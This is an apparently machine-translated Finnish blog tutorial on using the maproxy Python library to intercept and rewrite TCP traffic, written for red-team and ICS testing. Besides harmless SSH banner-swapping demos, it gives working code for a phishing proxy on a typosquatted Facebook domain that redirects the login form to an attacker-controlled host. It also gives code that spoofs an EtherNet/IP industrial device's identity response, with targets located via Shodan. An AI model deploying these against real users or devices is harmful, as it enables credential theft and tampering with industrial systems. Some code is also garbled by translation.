Artikkelin käännös valmistettiin kurssin alkamisen aattona
abstrakti
Erityyppiset tietoturva-arvioinnit, aina säännöllisestä penetraatiotestauksesta ja Red Teamin toiminnoista IoT/ICS-laitteiden ja SCADA:n hakkerointiin, sisältävät työskentelyn binääriverkkoprotokollien kanssa, toisin sanoen pääasiallisesti verkon tietojen sieppaamisen ja muokkaamisen asiakkaan ja kohteen välillä. Verkkoliikenteen nuuskiminen ei ole vaikea tehtävä, koska meillä on työkaluja, kuten Wireshark, Tcpdump tai Scapy, mutta muokkaaminen näyttää olevan työvoimavaltaisempi tehtävä, koska tarvitsemme jonkinlaisen käyttöliittymän verkkotietojen lukemiseen, suodattamiseen ja muuttamiseen. se lennossa ja lähetä se takaisin kohdeisännälle lähes reaaliajassa. Lisäksi olisi ihanteellista, jos tällainen työkalu voisi automaattisesti toimia useiden rinnakkaisten yhteyksien kanssa ja olla mukautettavissa komentosarjoilla.
Eräänä päivänä löysin työkalun nimeltä
, dokumentaatio teki minulle sen nopeasti selväksi maproxy
– juuri sitä mitä tarvitsen. Tämä on melko yksinkertainen, monipuolinen ja helposti konfiguroitava TCP-välityspalvelin. Testasin tätä työkalua useissa melko monimutkaisissa sovelluksissa, mukaan lukien ICS-laitteet (jotka tuottavat paljon paketteja) nähdäkseni, pystyykö se käsittelemään monia rinnakkaisia yhteyksiä, ja työkalu toimi hyvin.
Tässä artikkelissa tutustutaan verkkotietojen käsittelyyn lennossa maproxy
.
Arvostelu
Työkalu maproxy
perustuu Tornadoon, joka on suosittu ja kypsä Pythonin asynkroninen verkkokehys.
Yleensä se voi toimia useissa tiloissa:
TCP:TCP
– salaamattomat TCP-yhteydet;TCP:SSL
иSSL:TCP
– yksisuuntaisella salauksella;SSL:SSL
– kaksisuuntainen salaus.
Se tulee kirjastona. Nopeaa alkua varten voit käyttää esimerkkitiedostoja, jotka kuvastavat pääasiallista
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Tapaus 1 – yksinkertainen kaksisuuntainen välityspalvelin
Perustuen tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Oletuksena ProxyServer()
ottaa kaksi argumenttia – yhteyden sijainnin ja kohdeportin. server.listen()
ottaa yhden argumentin - portin saapuvan yhteyden kuunteluun.
Käsikirjoituksen suorittaminen:
# python tcp2tcp.py
Testin suorittamiseksi muodostamme yhteyden paikalliseen SSH-palvelimeen välityspalvelimemme kautta, joka kuuntelee 2222/tcp
portti ja muodostaa yhteyden vakioporttiin 22/tcp
SSH-palvelimet:
Tervetuliaisbanneri ilmoittaa, että esimerkkiskriptimme on onnistuneesti välittänyt verkkoliikennettä.
Tapaus 2 – tietojen muuttaminen
Toinen demo-skripti logging_proxy.py
ihanteellinen vuorovaikutukseen verkkotietojen kanssa. Tiedoston kommentit kuvaavat luokkamenetelmiä, joita voit muokata tavoitteesi saavuttamiseksi:
Mielenkiintoisin asia on tässä:
on_c2p_done_read
– siepata dataa matkalla asiakkaalta palvelimelle;on_p2s_done_read
- päinvastoin.
Yritetään vaihtaa SSH-banneri, jonka palvelin palauttaa asiakkaalle:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Suorita skripti:
Kuten näet, asiakasta johdettiin harhaan, koska hänen SSH-palvelimen nimi muutettiin «DumnySSH»
.
Tapaus 3 – yksinkertainen tietojenkalastelusivu
Tämän työkalun käyttötapoja on loputtomasti. Tällä kertaa keskitytään johonkin käytännöllisempään Red Teamin toiminnan puolelta. Jäljitelkäämme aloitussivua m.facebook.com
ja käytä mukautettua verkkotunnusta, jossa on tahallinen kirjoitusvirhe, esimerkiksi m.facebok.com
. Esittelytarkoituksessa oletetaan, että verkkotunnus on rekisteröity.
Aiomme muodostaa salaamattoman verkkoyhteyden uhrien välityspalvelimellamme ja SSL-streamilla Facebook-palvelimelle (31.13.81.36
). Jotta tämä esimerkki toimisi, meidän on korvattava HTTP-isäntäotsikko ja syötettävä oikea isäntänimi, ja poistamme myös vastauksen pakkaamisen käytöstä, jotta voimme helposti käyttää sisältöä. Viime kädessä korvaamme HTML-lomakkeen niin, että kirjautumistiedot lähetetään meille Facebookin palvelimien sijaan:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/fi/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Yhteenvetona:
Kuten näet, onnistuimme korvaamaan alkuperäisen sivuston.
Tapaus 4 – Ethernet/IP-portti
Olen jo jonkin aikaa käsitellyt teollisuuslaitteita ja ohjelmistoja (ICS/SCADA), kuten ohjelmoitavia ohjaimia (PLC), I/O-moduuleja, asemia, releitä, tikapuuohjelmointiympäristöjä ja monia muita. Tämä kotelo on tarkoitettu teollisista asioista pitäville. Tällaisten ratkaisujen hakkerointi edellyttää aktiivista pelaamista verkkoprotokollien kanssa. Seuraavassa esimerkissä haluan näyttää, kuinka voit muokata ICS/SCADA-verkkoliikennettä.
Tätä varten tarvitset seuraavat:
- Verkkohaistaja, esimerkiksi Wireshark;
- Ethernet/IP tai vain SIP-laite, löydät sen Shodan-palvelun avulla;
- Käsikirjoituksemme perustuu
maproxy
.
Katsotaanpa ensin, miltä CIP:n (Common Industrial Protocol) tyypillinen tunnistusvastaus näyttää:
Laitteen tunnistus suoritetaan käyttämällä Ethernet/IP-protokollaa, joka on parannettu versio teollisesta Ethernet-protokollasta, joka kattaa ohjausprotokollat, kuten CIP. Aiomme muuttaa korostetun tunnuksen nimen, joka näkyy kuvakaappauksessa "NI-IndComm Ethernetille" käyttämällä välityspalvelinohjelmaamme. Voisimme käyttää käsikirjoitusta uudelleen logging_proxy.py
ja vastaavasti muokata luokkamenetelmää on_p2s_done_read
, koska haluamme eri identiteettinimen näkyvän asiakkaalla.
Koodi:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Pohjimmiltaan pyysimme laitteen tunnistamista kahdesti, toinen vastaus oli alkuperäinen ja ensimmäistä muutettiin lennossa.
Ja viimeinen
Minun mielestäni maproxy
Kätevä ja yksinkertainen työkalu, joka on myös kirjoitettu Pythonilla, joten uskon, että sinäkin voit hyötyä sen käytöstä. Tietysti on olemassa monimutkaisempia työkaluja verkkotietojen käsittelyyn ja muokkaamiseen, mutta ne vaativat myös enemmän huomiota ja ne on yleensä luotu tiettyä käyttötapausta varten, esim. maproxy
voit nopeasti toteuttaa ideasi verkkotietojen sieppaamiseen, koska esimerkkiskriptit ovat erittäin selkeitä.
Lähde: will.com